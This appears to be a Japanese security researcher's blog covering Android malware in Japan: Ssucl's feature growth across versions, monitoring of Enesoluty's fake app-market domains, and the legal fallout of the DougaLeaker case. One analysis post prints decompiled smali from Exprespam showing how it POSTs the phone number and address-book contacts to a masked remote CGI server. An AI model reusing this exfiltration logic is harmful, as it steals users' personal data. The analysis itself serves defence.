2013/04/06

Androidセキュリティ関連のイベント紹介します

今月は何時もお世話になっているタオソフトさんとネットエージェントさんの勉強会が開催されるようなので日頃の感謝を込めてちょっと宣伝など。

Androidが普及し始めた当初はセキュリティに関するイベントと言うとえんどうやすゆきさんのAndroidセキュリティ勉強会を除いて個人で参加できるものはあまり無かったのですが、ここ最近は気軽に参加できるイベントが増えてきてますね。
今月開催される2つの勉強会は同じAndroidセキュリティに関するものですが全く異なる内容です。

タオソフトさんはAndroidデベロッパーであれば皆様ご存知の著書『Android Security 安全なアプリケーションを作成するために』を書かれているAndroidセキュアコーディングの先駆者です。
そのほかにもAndroidデベロッパーとしてtSpyCheckertPacketCaptureなどアプリ解析者も使う便利なツールからゲームに至るまで幅広くアプリケーションを提供しています。
今回のセミナーもアプリケーション開発の観点から安全な(安心な)アプリケーションを開発するノウハウを学べると思います。

一方ネットエージェントさんは、アプリケーションのリスク評価サービスsecroidの提供やセキュリティインシデントの調査・対策といったユーザ側の視点から様々なソリューションを提供しているセキュリティベンダさんです。
今回は2回目となるAndroidアプリケーションの解析方法の習得を目的とした勉強会です。私も第1回目の勉強会に参加しましたが、タイトルとは裏腹に初めての人もプロフェッショナルな方も皆さんそれぞれ楽しく学習できるアットホームな勉強会でした。
アプリケーション解析というと難しく捕らえて敬遠しがちですが、この勉強会に参加してみれば印象も変わると思います。

2社ともAndroidセキュリティに対するアプローチは全く異なりますが、間違いなく現在の日本のAndroidセキュリティを牽引している会社です。勉強会でも様々なノウハウや情報を得られることと思います。興味のある方は是非参加してみましょう。

2013/03/01

進化するマルウェア

先日USB接続したWindowsPCから盗聴する機能を持つAndroidMalware、Ssucl (aka claco)が話題になりました。
このマルウェアを調べる為に検体を探していると、幾つかのバージョンが存在していることが確認できました。
どうやらこのMalwareは最初からWindowsでの盗聴機能を持っていたわけではなく、バージョンアップを繰り返す過程で追加していたようです。

発見した検体は以下のとおりです

smart.apps.superclean

Sample:1
VersionCode:4
VersionName:1.3
TimeStamp:2012/11/6

Sample:2
VersionCode:8
VersionName:1.7
TimeStamp:2012/11/10

Sample:3
VersionCode:9
VersionName:1.8
TimeStamp:2012/11/11

Sample:4
VersionCode:11
VersionName:2.0
TimeStamp:2013/1/3

確認できている最も古い検体が11月6日のVer1.3です。そこから11月11日のVer1.8までかなり頻繁に更新している様子が伺えます。
この検体で最も興味深いのはこれら各バージョンで実装されている機能です。
SymantecやKasperskyの情報ではVer2.0でUSBを介したWindowsでの盗聴機能や様々なリモート操作機能について触れられています。
しかし過去のバージョンをさかのぼると、これらが最初から実装されていたわけではなくバージョンアップとともに機能拡張を繰り返していることがわかります。

各バージョンで実装されている機能を以下の表にまとめてみました


コマンド実装の差分があるのは1.3から1.7(1.8)、1.7(1.8)から2.0です。
(1.7と1.8の差分はコマンド出力箇所に改行が加わった点とSD_MAPのロジックが若干変更された点のみでした)
1.3の時点では、SMSや電話のコントロールと端末内ファイルの収集が主であったようです。
1.3から1.7の間に電話の転送、アドレス情報の収集、Androidの認証情報取得、コマンドの実行、USBAutorunAttackの実行が追加されています。
さらに2.0では、パッケージ情報の収集、着信音制御、Dropboxの認証情報取得、ネットワーク情報の取得、位置情報の取得が追加されています。

1.3の時点では従来とさほど変わらない機能をもった(ありふれた)マルウェアだったようですが、発見されるまでの間に特徴的な機能を追加し独自の進化を遂げている様子が伺えます。

Androidの場合最新の検体を入手するのも困難なケースも多々あり、このように過去のバージョンをさかのぼってマルウェアの進化の過程を垣間見る

ことが出来るのは極めて珍しいといえます。
(セキュリティベンダさんのように常時クローリングして過去のバージョンから検体を収集していれば別ですが…)

そして、現時点でさほど機能のないマルウェアでもある日「進化」を遂げて私たちの新たな脅威になる可能性があることを今回の事例から想定しておくべきかもしれません。

2013/02/28

第4回 マルウェア解析勉強会(#malwat)に参加しました

ご報告遅くなりましたが、第3回に引き続き4回目となるマルウェア解析勉強会に参加してきました。
回を重ねるごとに参加希望者の増える人気勉強会。私は今回を含めて2回しか参加していませんが、いずれの発表もハイレベルかつ分かりやすい内容で、マルウェア解析の経験がなくとも必ず何かを得て帰ることのできる非常に素晴らしい勉強会です。

さて、今回は主催の中津留さんからのお誘いで発表することになっていたわけですが、なにせ勉強会は今回で2回目、当然発表などというものもしたことがなく一体全体何を話せばいいのか悩みながらの発表準備でした。
念のため過去の発表などをTgetterやSlideShareなどから調べてAndroidに関する発表がないことを確認し、どういった観点からどういった方向に向かって話をするか考えようとするものの、思い浮かぶのはネタばかり。2週間前にお題を決めて直前まで直してました。(ダメすぎ)
発表のメインともいうべき classes.dex の類似性評価が直前で誤検知するパターンを発見して崩壊し、話の構成などもいまいち感がぬぐえない内容でしたが少しは皆様の参考になったでしょうか。
Androidの話があると聞いて今回の勉強会に参加された方にはちょっと物足りない内容だったかも知れません(すいません)。がりがりsmaliやバイナリいじり倒す内容でも良かったのですが、過去のmalwatの内容から恐らくAndroidMalwareの解析経験がある方はそう多くないのではないかと思い浅く広い内容にしてしまいました。
(かみかみだったのはご容赦ください。本当に緊張でガクブルしてたんです。)

発表時のスライドはこちらに公開しています。

皆様のお役に立てたかはともかく、私の方はというと準備期間を含め大変有意義な時間を過ごせたと思っています。
今回の発表準備の過程で自分の知識を整理し、不足している部分を明確にすることができました。また、参加された方と交流することで様々な情報交換もできました。今回は特にニシダ( @masata_masata )さんと直接お話しできて大変嬉しかったです。そして杉浦( @lumin )さんのサプライズ参加(笑)には参りました。
懇親会でも特にお二人とお話できて今後の活動の励みになりました。今後ともよろしくお願いします。

最後に今後の私の活動についてですが、しばらくは表に出るのを控えようかと思っています。
表に出ること自体は問題ないのですが、ここしばらく従来の活動に割ける時間が減っておりこのBlogやAMRPの活動も滞っている状態です。もう少し余裕ができるまでの間、従来の活動にリソースを回そうと思います。(「従来」の中にはまだ着手していない新しい試みも含まれていますが:) )

改めて勉強会に参加された皆様、そして主催の中津留さんありがとうございました。

2013/01/16

Enesolutyを配信している偽マーケットサイト(ドメイン)がかなり減ってきました

1週間ほど監視怠ってたのですが(コラ)、本日確認したところEnesolutyを配付していた偽マーケットのドメインがかなり死んでいることを確認しました。
1/15時点の確認状況は当Blog12/26エントリ「Enesolutyを配布するサーバを追跡・監視してみる(現在進行形)」を更新して記載しておりますのでそちらをご覧ください。

気をつけていただきたいのは、偽マーケットが全て無くなったわけではないこと、Malwareのダウンロード元および情報を収集しているサーバは今も運用を続けており活動が停止しているわけではないということです。

活動が縮小しているかどうかは現時点ではわかりません。今後、新たなドメインを取得して再びメールを介した拡散を始める可能性もあります。
また、いままでは3つのMalware「電波改善」「電池改善アプリ」「安心ウィルススキャン」を使いまわしていましたが、今後新たな偽アプリが出てくる可能性も十分にあります。

ちなみに、最も最近(1/3)に使い始めたドメインは、過去の偽マーケットサイトと異なるノードを用いているようです。今度はこちらのノードに切り替えて複数ドメインで運用していこうとしているのかもしれませんね。

今後も継続的に調査し新たな情報があり次第Blogに掲載したいと思います。

2013/01/14

Enesolutyの模倣か?新たに発見されたアドレス収集Malware

以前のエントリで私、確かに申しました。

さて、結果としてこの事件が不起訴になったことで今後の日本におけるAndroid環境は大きな懸念を抱えることになると見ています。 今回の事例から同様の手口でアドレス情報を収集する事象がが継続的に発生するであろう事は容易に推測できます。

この記事は1/1元旦に公開したわけですがそれからわずか数日後、アドレス情報を収集するMalwareが発見されました…。

昨年より活発に活動しているEnesoluty同様、マーケットサイトを模したWebサイトからダウンロードしインストール-実行することで端末の電話番号及びアドレス帳の表示名、メールアドレスを収集し外部サーバに送信する仕組みです。
大きな仕組みとしてはEnesolutyに類似しているのですが、以下の点で異なっています
  • Exprespamは9つの異なるアプリページに対して全て同じアプリをダウンロードします(DL先が同じファイルを指しています。)(Enesolutyでは偽マーケットで公開している3つのアプリがそれぞれ用意されていました。)
  • Exprspamはデフォルトアイコンのままであったり、ダイアログとトーストのみで構成される非常にチープなUIです。(Enesolutyはアプリのアイコンや画面など割と手の込んだ画像を用意し一見まともなアプリのように見えます)
  • Exprespamは偽マーケットとMalwareのダウンロード先は1つのサーバ(ドメイン)上で運用し、情報収集を別のサーバ(ドメイン)で運用しています。(Enesolutyは偽マーケットを複数のドメイン(だたしサーバは同一)で運用し、Malwareのダウンロード先及びC&Cサーバを偽マーケットと別に立てて運用しています)

また、前述のSymantecBlogでも記載されていましたが、Exprespamは従来のアドレス収集型Malwareと異なりアドレス情報の送信にSSL(HTTPS)を用いています。その目的がどこにあるのかは開発者にしかわかりませんが、少なくともこのアプリが何を送信するのかを動的解析する際に妨げになることは違いないでしょう。

もう1点、セキュリティベンダのBlogでは書かれていませんが、Exprespamには過去のアドレス収集型Malwareと異なる点があります。
従来のMalwareでは、取得した情報をそのままPOSTしたり、一度ファイルに出力した上でアップロードしていましたが、Exprespamは収集サーバに端末情報収集とアドレス情報収集で別のCGIが用意されています。
アプリを解析してみるとそれぞれのCGIに対し、以下の情報を送信する仕組みになっています。

端末情報(電話番号)収集用CGIへの送信部分

以下の部分から、端末情報(電話番号)収集用CGIには"t=(端末の電話番号)&app=Wrehifsdkjs"がPOSTされることがわかります。
    .restart local v4       #line1Number:Ljava/lang/String;
    .restart local v7       #str:Ljava/lang/String;
    .restart local v9       #telephonyManager:Landroid/telephony/TelephonyManager;
    :cond_25
    new-instance v10, Ljava/lang/StringBuilder;

    const-string v11, "t="

    invoke-direct {v10, v11}, Ljava/lang/StringBuilder;->(Ljava/lang/String;)V

    invoke-virtual {v10, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v10

    const-string v11, "&app=Wrehifsdkjs"

    invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v10

    invoke-virtual {v10}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

    move-result-object v7

    .line 61
    const-string v10, "https://f*****************t.com/cgi-bin/confirmUserData****"

    invoke-virtual {p0, v10, v7}, Lfrhfsd/siksdk/ujdsfjkfsd/WrehifsdkjsActivity$Progress;->doPost(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;

アドレス情報収集用CGIへの送信部分

以下の部分からアドレス情報収集用CGIには"data=(JSON形式のアドレス情報(表示名とメールアドレス))&t=(端末の電話番号)&app=Wrehifsdkjs"がPOSTされることがわかります。
    .restart local v3       #jObj:Lfrhfsd/siksdk/ujdsfjkfsd/WrehifsdkjsJSON;
    .restart local v4       #line1Number:Ljava/lang/String;
    .restart local v6       #result:Ljava/lang/String;
    .restart local v7       #str:Ljava/lang/String;
    .restart local v9       #telephonyManager:Landroid/telephony/TelephonyManager;
        :
    (途中省略)
        :
    const-string v10, "https://f*****************t.com/cgi-bin/registerAddressData****"

    new-instance v11, Ljava/lang/StringBuilder;

    const-string v12, "data="

    invoke-direct {v11, v12}, Ljava/lang/StringBuilder;->(Ljava/lang/String;)V

    invoke-virtual {v11, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v11

    const-string v12, "&t="

    invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v11

    invoke-virtual {v11, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v11

    const-string v12, "&app=Wrehifsdkjs"

    invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v11

    invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

    move-result-object v11

    invoke-virtual {p0, v10, v11}, Lfrhfsd/siksdk/ujdsfjkfsd/WrehifsdkjsActivity$Progress;->doPost(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;

上記のとおり、Malwareのロジックが異なる点や署名のSubject名の命名パターンも従来のMalwareと異なることなどを鑑みると、このMalwareの開発者は従来のMalwareと異なる人物である可能性が高いのではないかと思います。

これがEnesolutyの模倣犯だとすると、今後もこのようなMalwareが増え続ける懸念がより一層高まりそうです。

2013/01/01

日本におけるAndroidMalwareの現状と今後

あけましておめでとうございます。
本来このエントリは昨年暮れに公開する予定でしたが、なかなか時間がとれず年明け1つめのエントリとなってしまいました。
相変わらずこんな調子ですが、今年もマイペースでこのBlogを続けていきたいと思います。よろしくお願いいたします。

さて、「TheMovie」というキーワードで昨年のAndroid界隈を騒然とさせたMalware、「DougaLeaker」に関する事件で逮捕され後に処分保留として釈放された5人が12/26付けで嫌疑不十分の為不起訴処分となりました。
処分保留の時点である程度想像は出来たものの、この結果には大いに落胆すると共に日本のAndroid環境の将来に対し大きな懸念を持たざるを得なくなりました。

Malwareを開発し配布した人物が特定されても、このような形で不起訴になってしまうのであれば日本国内において情報収集型のマルウェアを取り締まるのは相当困難に思えます。

今回の不起訴の理由は明らかになっていませんが新聞メディアの情報では、

  • 画面上に「連絡先データの読み取り」と表示されることから情報流出が利用者の意思に反したものであると断定するのは難しい
  • 5人が個人情報を不正に取得する認識があったことを示す証拠がない
という理由が挙げられています。

1つ目の理由については過去のTweet※1でも述べましたがパーミッションの許可だけで利用者が連絡先データの「流出」まで判断することは困難であり、かつ「連絡先データの読み取り」が連絡先データの「流出」を指すと解釈すれば、このパーミッションを利用する多くの妥当なアプリが不当な判断をされることからこれを嫌疑不十分の根拠とするのはいささか疑問があります。

当然このような理由だけで嫌疑が晴らせるわけも無く地検には別の壁があったと推測できます。
それがおそらく2番目の「不正に取得する認識があったことを示す証拠がない」というところなのかと思います。

アドレス帳の情報を送信する機能を付加しながらその説明なしに「動画アプリ」として複数のアプリを配信していた事実は明らかですが、地検はこれを不正な取得とするには不十分と判断したということになります。
では、地検が十分と判断するにはどのような証拠が必要だったのでしょうか。たとえば、その収集したデータを「利用」した痕跡が必要だったのでしょうか。たとえば、Spamメールの宛先に利用していた場合等です。

しかし、いわゆるウィルス罪はプログラムに対する社会一般の者の信頼を保護法益とする罪です。収集した情報がどのように使われたか、その痕跡を明らかにしないと証拠不十分というのであればこの法は十分に効力を発揮することはないように思えます。
(もっとも、収集した情報がどのように使われたか明らかにする以前に、そのアプリがアドレス情報を収集する正当な理由が無いこと自体を問うべきだと思いますが。)

さて、結果としてこの事件が不起訴になったことで今後の日本におけるAndroid環境は大きな懸念を抱えることになると見ています。
今回の事例から同様の手口でアドレス情報を収集する事象がが継続的に発生するであろう事は容易に推測できます。
実際、TheMovieの事件後もAndroid.Enesolutyはドメインを頻繁に変えながら継続的にSpamを配信し続けMalwareを拡散しアドレス情報を収集しています。
残念ながら警察機関の抑止力が効かない、マーケットサイトのフィルタがあてにならないこの現状、有効な対策は正直思いつきません。個人の対策以外に何が出来るのか、考え直さないといけない状況にあるようです。


※1過去のTweetについては1234を参照。

2012/12/26

Enesolutyを配布するサーバを追跡・監視してみる(現在進行形)

Enesolutyは未だに迷惑メールを介して似非マーケットサイトにユーザを誘導し「電波改善」「電池改善アプリ」「安心ウィルススキャン」といったユーザのインストールを誘うアプリ名称で配布され続けています。
このMalwareを配布している運用者は、頻繁にドメインを変えながら都度迷惑メールを発信し続けています。今もそれは続いています。

このEnesolutyを配布しているサーバは、2つのシステムで構成されているようです。1つは似非マーケットサイトを提供しているサーバ。もう一つはMalwareファイル(apk)を配置しているサーバ。
似非マーケットサイトは複数のドメインで運用されていますが、全て同じコンテンツで構成されています。一方、この似非マーケットサイトらが示すMalwareのダウンロードサイトは1つのドメインを指しています。

私が観察を始めてからMalwareを配布するサーバのドメインが更新される瞬間を確認できていませんが、週1くらいの周期で変えているという情報もあります。

一方似非マーケットサイトはというと、過去に取得したものから、最近取得したものまでドメインの期限は様々ですが、比較的頻繁にドメインを変えている様子が確認できます。

以下に似非マーケットのドメイン利用状況をまとめました

ドメインドメイン取得日状況
toapps.info9/6IPとの紐付けがなくなり実質停止
appflaps.net9/15Alive -> 12/17 サービス停止
mag7do.info9/15Alive -> 12/17 サービス停止 -> 1/15 IPとの紐付けがなくなり実質停止
app-times.net9/27IPとの紐付けがなくなり実質停止
app-fun.net9/28Alive -> 1/15 IPとの紐付けがなくなり実質停止
mag-704.net10/8Alive -> 12/17 IPとの紐付けがなくなり実質停止
magstart.net10/23Alive -> 12/17 サービス停止
app-rp9.net10/28Alive -> 12/17 IPとの紐付けがなくなり実質停止
smart-mag.net10/28IPとの紐付けがなくなり実質停止
app2ap.info11/4Alive -> 12/17 サービス停止
vy-app.info11/16Alive -> 12/17 サービス停止
android-recommend.info11/16Alive -> 12/17 サービス停止
apps-find.info11/23Alive -> 1/15 IPとの紐付けがなくなり実質停止
app-repo.info12/9Alive -> 1/15 IPとの紐付けがなくなり実質停止
appdays.info12/9Alive -> 1/15 IPとの紐付けがなくなり実質停止
appinter.info12/9Alive -> 1/15 IPとの紐付けがなくなり実質停止
app-doc.info12/14Alive -> 1/15 IPとの紐付けがなくなり実質停止
android-beat.info12/14Alive -> 1/15 IPとの紐付けがなくなり実質停止
a***m.info12/25Alive
a****t.info12/25(1/3 update)Alive

現在も生きている(Malwareを配布している)ドメインは念のためマスクしています。

ドメインの取得日を見ていただければわかりますが、最近では12/14にドメインを取得して迷惑メールでの告知に利用しています。
この運用者にとって最近の警察逮捕劇など全くお構いなしといった態度が見えます。非常に腹立たしい限りです。本件については、徹底的に調査を進め関係機関に連絡協力を惜しまない所存です。

個人的には警察の初期対応(TheMovieの件)が大きく響いていると思っています。警察機関におかれましては、是非毅然とした対応をしていただきたいと思います。

追記

(2012/12/28)似非マーケットサイトのドメインを新たに1件追加しました

(2013/01/01)似非マーケットサイトのドメインを新たに1件追加しました

(2013/01/07)似非マーケットサイトのドメインを新たに1件追加しました

(2013/01/15)1/15時点で確認した各サイト(ドメイン)のステータスを反映しました。